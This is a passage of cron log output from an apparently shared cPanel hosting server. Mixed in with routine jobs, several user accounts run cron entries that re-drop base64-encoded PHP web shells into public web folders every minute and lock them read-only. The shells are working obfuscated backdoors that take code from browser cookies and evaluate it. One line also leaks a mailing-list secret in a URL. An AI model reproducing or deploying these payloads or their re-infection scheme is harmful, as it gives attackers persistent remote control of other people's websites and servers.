hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:30:01 medusa CROND[28783]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:30:01 medusa CROND[28787]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:30:01 medusa CROND[28788]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:30:01 medusa CROND[28786]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 07:30:02 medusa CROND[28795]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Apr 19 07:30:02 medusa CROND[28790]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 07:30:02 medusa CROND[28781]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 07:30:02 medusa CROND[28764]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 07:31:02 medusa CROND[19009]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 07:31:02 medusa CROND[19008]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:31:02 medusa CROND[19010]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:31:02 medusa CROND[19011]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:31:02 medusa CROND[19015]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 07:31:02 medusa CROND[19016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:31:02 medusa CROND[19018]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:31:02 medusa CROND[19019]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:31:02 medusa CROND[19022]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:31:02 medusa CROND[19017]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:31:02 medusa CROND[19014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:31:02 medusa CROND[19025]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:31:02 medusa CROND[19023]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:32:01 medusa CROND[10750]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:32:01 medusa CROND[10834]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:32:01 medusa CROND[10836]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:32:01 medusa CROND[10835]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 07:32:01 medusa CROND[10838]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:32:01 medusa CROND[10840]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:32:01 medusa CROND[10839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:32:01 medusa CROND[10841]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:32:01 medusa CROND[10842]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:32:01 medusa CROND[10845]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:32:01 medusa CROND[10847]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:32:01 medusa CROND[10843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:32:01 medusa CROND[10854]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:33:01 medusa CROND[2919]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 07:33:01 medusa CROND[2942]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:33:01 medusa CROND[2943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:33:01 medusa CROND[2946]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4l